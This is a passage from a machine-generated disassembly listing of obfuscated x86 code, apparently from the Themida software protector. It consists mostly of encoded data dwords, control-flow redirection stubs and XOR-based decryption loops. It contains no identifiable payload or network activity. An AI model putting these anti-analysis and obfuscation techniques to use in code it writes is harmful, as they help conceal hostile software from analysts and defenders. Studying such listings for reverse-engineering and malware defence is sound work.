		dd 47684h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 3D6975D2h, 869E628h, 819D8BE6h, 89061234h
		dd 120C7985h, 11BD8306h, 1061200h, 454840Fh, 7E80000h
		dd 50000000h, 0BE409405h, 820FA561h, 0
; ---------------------------------------------------------------------------
		pop	edi
		cmp	dword ptr [ebp+6120011h], 3
		jbe	loc_5C0B84
		push	0
		push	ebp
		call	sub_5C0791
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0791	proc near		; CODE XREF: Themida_:005C0789p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C0791	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0BE5h
; ---------------------------------------------------------------------------
		lea	esp, [ecx]
		mov	cl, 85h
		mov	[ebp+6121731h],	ecx
		pusha
		xor	di, 7064h
		mov	cx, ds
		push	0
		push	edx
		call	sub_5C07C2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C07C2	proc near		; CODE XREF: Themida_:005C07BAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C07C2	endp

; ---------------------------------------------------------------------------
		inc	eax
		mov	dword ptr [edi], 0FB560CCh
		mov	bh, 0D8h
		jns	loc_5C07E7
		or	[ebp+6121375h],	esi


loc_5C07E7:				; CODE XREF: Themida_:005C07DBj
		and	cl, 4
		push	0
		push	ecx
		call	sub_5C07F5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C07F5	proc near		; CODE XREF: Themida_:005C07EDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C07F5	endp

; ---------------------------------------------------------------------------
		jb	short loc_5C0884
		mov	ebx, [ebp+61215C5h]
		or	cl, cl
		jz	loc_5C0973
		add	bx, 3E9Ah
		pusha
		push	ecx
		call	near ptr loc_5C082A+1
		setalc
		mov	ebx, 0B2DABCB8h
		aas
		pushf
		pop	edi


loc_5C082A:				; CODE XREF: Themida_:005C081Cp
		mov	bl, [edx+5Ah]
		push	ebx
		sub	[ebp+6122DFDh],	eax
		pop	ebx
		popa
		mov	eax, [ebp+61224CDh]
		push	0
		push	edx
		call	sub_5C0847
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0847	proc near		; CODE XREF: Themida_:005C083Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5C0847	endp

; ---------------------------------------------------------------------------
		db 1Ah
		dd 94400AEAh, 7B9B63DDh, 8533F88Ah, 612248Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h
; ---------------------------------------------------------------------------


loc_5C0884:				; CODE XREF: Themida_:005C0805j
		std
		xchg	eax, ebx
		into
		mov	ah, 27h
		stc
		mov	bh, 0Fh
		std
		movzx	edi, di
		nop
		push	eax
		pusha
		pusha
		jno	$+6
		push	esi
		pop	eax
		popa
		popa
		nop
		push	0
		push	eax
		call	sub_5C08AA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C08AA	proc near		; CODE XREF: Themida_:005C08A2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C08AA	endp

; ---------------------------------------------------------------------------
		cwde
		cmp	fs:0BE60407Bh, ch
		pop	dword ptr [edx+799D8B43h]
		pop	es
		adc	al, [esi]
		popa
		mov	ebx, [ebp+6120385h]
		push	0
		mov	ebx, edi
		push	137A3258h
		pusha
		mov	ax, 0EEDBh
		mov	ax, 1E5Bh
		popa
		xor	dword ptr [esp], 136531A7h
		jmp	loc_5C0904
; ---------------------------------------------------------------------------
		mov	ah, 5Ch
		wait
		retn	8170h
; ---------------------------------------------------------------------------
		dd 72AD47D4h, 12264681h, 0DCF065D1h
; ---------------------------------------------------------------------------


loc_5C0904:				; CODE XREF: Themida_:005C08EDj
		call	dword ptr [ebp+6123031h]
		and	ebx, [ebp+612122Dh]
		mov	[ebp+615BD0Ch],	eax
		push	0
		push	edx
		call	sub_5C0921
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0921	proc near		; CODE XREF: Themida_:005C0919p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C0921	endp

; ---------------------------------------------------------------------------
		db 7Fh,	0Dh, 1Ch
		dd 0C1B7635Ah, 1EDE9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0FC66A36Bh, 31605653h
		dd 121D61BDh, 0A1BD8B06h, 61061212h, 0B1BD895Bh
		db 28h,	12h, 6
; ---------------------------------------------------------------------------


loc_5C0973:				; CODE XREF: Themida_:005C080Fj
		mov	eax, [ebp+615BD04h]
		push	0
		push	esi
		call	sub_5C0984
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0984	proc near		; CODE XREF: Themida_:005C097Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5C0984	endp

; ---------------------------------------------------------------------------
		push	esi
		or	[ebx+121E05BDh], cl
		push	es
		mov	dword ptr [eax], 18h
		push	0
		push	eax
		call	sub_5C09AD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C09AD	proc near		; CODE XREF: Themida_:005C09A5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C09AD	endp

; ---------------------------------------------------------------------------
		das
		pop	ebx
		call	near ptr loc_5C09CF+3
		mov	word ptr [ebx],	cs
		stosb
		pop	edx
		mov	eax, ds:9AA7A8D2h
		adc	al, 1Dh


loc_5C09CF:				; CODE XREF: Themida_:005C09BFp
		mov	ecx, 0F98A2D54h
		pop	ebx
		mov	esi, [ebp+615BD08h]
		push	0
		push	eax
		call	sub_5C09E6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C09E6	proc near		; CODE XREF: Themida_:005C09DEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C09E6	endp

; ---------------------------------------------------------------------------
		dw 1B63h
; ---------------------------------------------------------------------------
		xor	eax, 0C4E16D5Fh
		sbb	[ecx+1217159Dh], ecx
		push	es
		mov	edi, [ebp+612290Dh]
		mov	eax, [ebp+6122399h]
		or	ebx, [ebp+6122675h]
		mov	[esi], eax
		push	0
		push	eax
		call	sub_5C0A23
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0A23	proc near		; CODE XREF: Themida_:005C0A1Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C0A23	endp

; ---------------------------------------------------------------------------
		db 0E9h
		dd 0D8ED5DB1h, 8B35A43Ah, 122E099Dh, 5BD0306h, 8B061219h
		dd 1224CD85h, 6E806h, 1E1C0000h, 703D816Bh, 0C6672DBBh
		dd 0BF665B77h, 46890842h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 400760AEh
		dd 617301EBh, 0F5097C0h, 288h, 89DF8B00h, 810F2434h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+615BD04h]
		xor	edi, [ebp+61200DDh]
		push	4FE92F6Bh
		ja	loc_5C0AB6
		mov	bx, dx


loc_5C0AB6:				; CODE XREF: Themida_:005C0AADj
		xor	dword ptr [esp], 4FF62C94h
		push	0
		push	eax
		call	sub_5C0AC8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0AC8	proc near		; CODE XREF: Themida_:005C0AC0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C0AC8	endp

; ---------------------------------------------------------------------------
		dd 728D42DCh, 9469FAA1h, 6E96A34h, 7E000000h, 4EDB119h
		dd 0C858D50h, 660615BDh, 50B66CBBh, 66240489h, 0FF8595BFh
		dd 12303195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0A43E7AADh, 473DEE69h, 8961D4B7h
		dd 1218F1B5h, 1185C706h, 3061200h, 1000000h, 12075195h
		dd 0CBD8306h, 615BDh, 36840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 99B80EC3h
		dd 0E931DA95h, 2Bh, 0BE9h, 0B1611200h, 6C4275C5h, 27CB2127h
; ---------------------------------------------------------------------------


loc_5C0B84:				; CODE XREF: Themida_:005C0780j
					; Themida_:005C0B9Bj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C0B84
		jmp	short loc_5C0BD5
; ---------------------------------------------------------------------------


loc_5C0B9F:				; CODE XREF: Themida_:005C0BB6j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C0B9F
		jmp	short loc_5C0BD5
; ---------------------------------------------------------------------------


loc_5C0BBA:				; CODE XREF: Themida_:005C0BD1j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C0BBA
		jmp	short $+2


loc_5C0BD5:				; CODE XREF: Themida_:005C0B9Dj
					; Themida_:005C0BB8j
		mov	eax, eax
		mov	edi, [ebp+61226E9h]
		push	0
		push	edx
		call	sub_5C0BE8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0BE8	proc near		; CODE XREF: Themida_:005C0BE0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C0BE8	endp

; ---------------------------------------------------------------------------
		dd 0A7FEC971h, 99D8B80h, 8306122Bh, 120011BDh, 850F0306h
		dd 429h, 0E5B50B60h, 81061214h,	665D44C9h, 0BD83616Eh
		dd 615BD0Ch, 0E840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1DDFC351h
		dd 0B7071D02h, 2767835Dh, 0FFDE8B66h, 15BD0CB5h, 95FFF906h
		dd 6122029h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	67C35747h, 0C9BD8B39h, 8B061220h, 15BD00B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0ED597BC4h, 65903A1Ch, 10E9h, 92CE0900h, 0EB915B38h
		dd 2EA405A0h, 8832DB04h, 106C758h, 6A000100h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9C96C353h, 5054A104h, 6A243489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FC5C356h
		dd 9D29FFB7h, 61231C9h,	0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 934B8CC3h
		dd 0E195FF9Ch, 6A06121Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0A990C357h,	2D6FE43Bh
		dd 7A6CBF98h, 0B58B2425h, 615BD00h, 164D9D8Bh, 858B0612h
		dd 6123039h, 1D51BD89h,	86890612h, 0C4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0F1C35343h, 0B89C8AA9h
		dd 3860Fh, 0BF0F0000h, 0CD958BDFh, 6A06122Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 89DCC351h, 896441DBh, 12276195h, 4C28306h, 205089F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 46C35747h
		dd 586EA8E3h, 858DFE8Bh, 615D0EAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0FFC35545h,	69DADDB5h, 618D01B4h
		dd 89061203h, 122D219Dh, 35858906h, 89061234h, 0B886h
		dd 6A006A00h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0FA87C356h, 0F529A01Fh, 799531h
		dd 85890612h, 61229E1h,	0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 89139CC3h
		dd 0FFD673A0h, 122CD595h, 9D8B6006h, 612045Dh, 38E0Fh
		dd 0B70F0000h, 509661DFh, 4A4CBF52h, 310F2F3Eh,	585AFB8Bh
		dd 9B67BF50h, 6A9669CCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 130AC350h, 8FF8031Fh
		dd 0F259D2Bh, 95890612h, 6122E41h, 0BD0CB5FFh, 8D290615h
		dd 6122E25h, 2E2995FFh,	6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0ED08F6C3h, 74DBD695h
		dd 89057ADAh, 12000995h, 89BD8306h, 61211h, 31840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 193634C3h, 24348950h, 9840Fh, 860F0000h, 3, 0FFCBE380h
		dd 15BD0CB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0FFDF8BF9h, 122AA595h, 20BF6606h
		dd 0CB5FFCEh, 600615BDh, 7BCE8166h, 19BD8987h, 6106122Ch
		dd 1BB195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0E7EDD2C3h, 2A41BD83h, 0F020612h
		dd 4184h, 0BE86000h, 0E6000000h, 3FB4462Fh, 0CF62056Eh
		dd 10E84D44h, 17000000h, 5C15AA6Ch, 32D4162Ah, 0C9604BBh
		dd 5A9AB1FCh, 0B5B5895Ah, 61061227h, 18A9858Bh,	8B660612h
		dd 0C6DAh, 2858D89h, 85C70612h,	6120301h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5C1039
; ---------------------------------------------------------------------------
		db 6Ah,	0A2h, 0B6h
		dd 13CB1D1Eh, 871434CEh, 67ED52F2h
		db 0E1h
; ---------------------------------------------------------------------------


loc_5C1039:				; CODE XREF: Themida_:005C1024j
		jmp	loc_5C0378
; ---------------------------------------------------------------------------
		dw 0DE8h
		dd 0B6000000h, 0F8613B94h, 83BD884Dh, 7CB40D07h, 661597BFh
		dd 0C18B5F7Ah, 0B418D01h, 858D0612h, 6120065h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B0C35747h, 55CBBB66h
		dd 6CBF6650h, 240489A6h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 56C35141h, 6AF8AAh, 5E9h, 0C8AFF100h
		dd 0BD0122A6h, 61230A1h, 0BF66006Ah, 858D6F4Dh,	6165777h
		dd 68D0Fh, 0D3810000h, 697D2C0Bh, 1829B589h, 0C0830612h
		dd 8950F505h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0B7E506C3h, 6A006AECh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 5595FFE0h, 6A06120Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B161C356h,	6C4275C5h
		dd 9E86027h, 2F000000h,	2FCDBE74h, 0E09B0A27h, 0AE9h, 1E5BDF00h
		dd 76A3FBE8h, 5F938AB6h, 6840Fh, 8D890000h, 61225EDh, 819D3361h
		dd 8D061216h, 159BCA8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 3258CEAFh, 1DE19D01h
		dd 0D1FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0FDC35141h, 0BE9h, 0CD8A3000h, 0DA273F43h, 4FEDCAABh
		dd 0EE9BD83h, 0F010612h, 7085h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E84E2CE3h
		dd 459D8B0Bh, 6A061203h, 0FABF0F02h, 840F5090h,	11h, 0AE951h
		dd 0EC740000h, 6A75FDC3h, 930976ACh, 8166905Fh,	0FFAA53D3h
		dd 122CD595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0B3922BC8h, 0C97E90Ch, 0E80000h
		dd 5D000000h, 5781ED81h, 9D8B0616h, 6122CB9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E4C35040h, 96A0C692h
		dd 968F858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0FE7278C3h, 0F12020BFh, 8A52506Dh
		dd 4895BFEh, 15858924h,	8A061200h, 35FF64DEh, 0
; ---------------------------------------------------------------------------
		mov	ebx, esi
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5C12DC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C12DC	proc near		; CODE XREF: Themida_:005C12D4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C12DC	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		mov	ch, 5
		db	67h
		dec	ecx
		mov	esp, [esi+51BD8BF3h]
		adc	al, 12h
		push	es
		inc	dword ptr [ebp+6121235h]
		jno	loc_5C130C
		mov	ebx, [ebp+6122849h]


loc_5C130C:				; CODE XREF: Themida_:005C1300j
		push	0FFFFFFFFh
		mov	edi, 5191037Bh
		push	dword ptr [ebp+61214C1h]
		push	0
		push	ecx
		call	sub_5C1324
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1324	proc near		; CODE XREF: Themida_:005C131Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C1324	endp

; ---------------------------------------------------------------------------
		dd 0CD7B983Ch, 8B66BD2Ah, 7595FFF9h, 0E9061214h, 0F0h
		dd 12399D23h, 0B00612h,	6890Fh,	9D230000h, 6121B59h, 0BD8970E6h
		dd 61231FDh, 0BD2371E4h, 6122625h, 830F613Ch, 0C4h, 0FFE8B66h
		dd 0BF0FC8B6h, 6BADEh, 9D8B0000h, 6121085h, 0ABBBC18Bh
		dd 0C17B5CD7h, 14E804E8h, 8A000000h, 675849C2h,	0C7FEE962h
		dd 80A1F895h, 0A5BA5D6Ch, 5B26CFF4h, 0B3E2F766h, 81575142h
		dd 709BD6C3h, 2B5F5F6Bh, 0BD8B51C8h, 61203C1h, 0BFD18B5Bh
		dd 2B9C4668h, 0E9h, 0FD858B00h,	89061220h, 120781BDh, 7C08306h
		dd 0C083F8h, 1FC59D29h,	0D03B0612h, 10830Fh, 0B70F0000h
		dd 3DE9F5D8h, 52000000h, 92BD37BFh, 8D8B5F71h, 61230DDh
		dd 285D9D89h, 0E1830612h, 21840F01h, 0F000000h,	0A583FFB7h
		dd 61230DDh, 0E381FEh, 8943DFA4h, 1220FD95h, 45850106h
		dd 0E906122Ah, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+615ED16h]
		mov	bl, 0E1h
		push	0
		push	0
		push	esi
		call	sub_5C144D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C144D	proc near		; CODE XREF: Themida_:005C1445p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5C144D	endp

; ---------------------------------------------------------------------------
		rol	byte ptr [ecx-67549611h], 32h
		call	dword ptr [ebp+61229D1h]
		push	edx
		add	bx, 0FF69h
		pop	ebx
		mov	ecx, 855h
		push	0
		push	esi
		call	sub_5C1481
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1481	proc near		; CODE XREF: Themida_:005C1479p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C1481	endp

; ---------------------------------------------------------------------------
		movsb
		mov	edx, 899F4206h
		mov	ah, 18h
		xor	[ebp+6121D35h],	ecx
		and	ecx, 0FFFFFFFCh
		push	0
		push	edx
		call	sub_5C14AD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C14AD	proc near		; CODE XREF: Themida_:005C14A5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C14AD	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0CBh, 23h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+7793662Ch], 1
		mov	edi, [ebp+612266Dh]
		cld
		push	0
		push	edx
		call	sub_5C14D8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C14D8	proc near		; CODE XREF: Themida_:005C14D0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C14D8	endp

; ---------------------------------------------------------------------------
		imul	ecx, [ebx+6AC02BFBh], 0
		push	ebp
		call	sub_5C14F8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C14F8	proc near		; CODE XREF: Themida_:005C14F0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C14F8	endp

; ---------------------------------------------------------------------------
		dd 67C918BCh, 8B8CEB9Dh, 121169BDh, 8BD22B06h, 1219199Dh
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 6FF92FBFh, 88826828h, 6E95060h, 40000000h, 0E482EC45h
		dd 8FBA5894h, 610AF3E3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F1C35242h, 0E39F1C80h, 8B4F5493h, 880DF9h
		dd 9D290000h, 6122889h,	2DCD958Bh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0AFC6FC3h
		dd 2129C9C2h, 1619D35h,	1221598Dh, 0ED853106h, 8B061222h
		dd 1231BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 2F44A154h, 5ED28734h, 2D358589h
		dd 0BB660612h, 8B509B27h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6ADEB70Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B05C356h, 12255D9Dh
		dd 19BD8306h, 61214h, 6B840Fh, 0DB810000h, 67EA27ECh, 0B8h
		dd 0DD87BB00h, 8D8D2D66h, 6124E4Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 4EC35646h, 9D8B8EA0h, 6122479h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0CCE34AC3h, 2797554Ch, 53E278E2h,	0B5C78152h
		dd 5F05B188h, 11BD835Fh, 61200h, 446840Fh, 0C7810000h
		dd 81C90A4h, 7D852960h,	61061203h, 11BD83h, 0F010612h
		dd 44684h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5C3139E3h, 470B2766h, 7166C381h
		dd 0BD8340DAh, 6120011h, 0DA860F03h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D16BC355h, 0D95A723Ch, 0F8B5758h, 160F8B7h,	120F4D85h
		dd 0D98C6606h, 61FB8B60h, 0F04E180h, 0C90AF8BFh, 172840Fh
		dd 0CBBF0000h, 8B4A3ECDh, 1224CD85h, 0F516006h,	86h, 0EE95F00h
		dd 0E2000000h, 0F53BC80Ah, 0E9548529h, 46320148h, 85336111h
		dd 612248Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0C2C35545h, 352129C9h, 0BF9CB81h, 52502623h, 2404895Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 93C35242h
		dd 823C32Ah, 8DBD8B90h,	6A061229h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 8065A1D7h
		dd 0A6308200h, 4E89Ah, 3FF0000h, 0E960001Fh, 7,	21451F85h
		dd 0E8BDD9F9h, 5, 1672C096h, 50615BECh,	424448Bh, 0F60008Bh
		dd 48Ch, 0EEBE6600h, 3C00BA73h,	89611EC4h, 58042444h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CAC35141h, 0E9535773h
		dd 14h,	0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0E328D0D6h
		dd 64FAEA6Ah, 95FF5F5Fh, 6123031h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 26C35646h, 0D0700B22h, 6660FBE2h
		dd 0FB9C68Bh, 6166BC8Ch, 1CC58D89h, 85890612h, 615BD0Ch
		dd 2A719D8Bh, 9D2B0612h, 6121CE9h, 1BEE9h, 0F5F98B00h
		dd 0BD04858Bh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 9A9D24C3h, 4F576C92h, 0BBB62DB5h
		dd 20EC6C2Eh, 1800C7h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0EE4AF8C3h, 0A239D258h
		dd 4870Fh, 0BB660000h, 0B58B75E3h, 615BD08h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h, 2C1BD8Bh
		dd 858B0612h, 6122399h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 3EC35646h, 0DA8B6631h, 850F0689h, 1
		dd 0CD858BF9h, 6A061224h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 71FCC357h, 74D68431h
		dd 89271F17h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C0A080C3h, 6E99Ch, 284C0000h, 0AC6E74DFh
		dd 8A5025B3h, 243489FEh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0D0C35545h, 0DE8B4688h, 0BD04B5FFh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0D29071C3h, 7DC16821h, 0BB66F397h, 4819CA0h,	87863E24h
		dd 0CE90Ch, 865B0000h, 558EAA77h, 0EBB1EFC1h, 858D5680h
		dd 615BD0Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	68C35242h, 50CCED09h, 840Fh, 4890000h, 0FFFE8B24h
		dd 12303195h, 0C1E38106h, 61763385h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 77C35141h, 33C197EFh, 121391BDh
		dd 1185C706h, 3061200h,	0E9000000h, 14h, 0EFEA2164h, 7F3A15C0h
		dd 21F666CDh, 46834684h, 3E21F040h, 13ED9D89h, 0BD830612h
		dd 615BD0Ch, 0E840F00h,	89000000h, 121AE5BDh, 1EE906h
		dd 0BF0F0000h, 0C3050FBh, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 846EBB66h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 8EC35747h, 0A06A5193h, 72C9DD8Ah
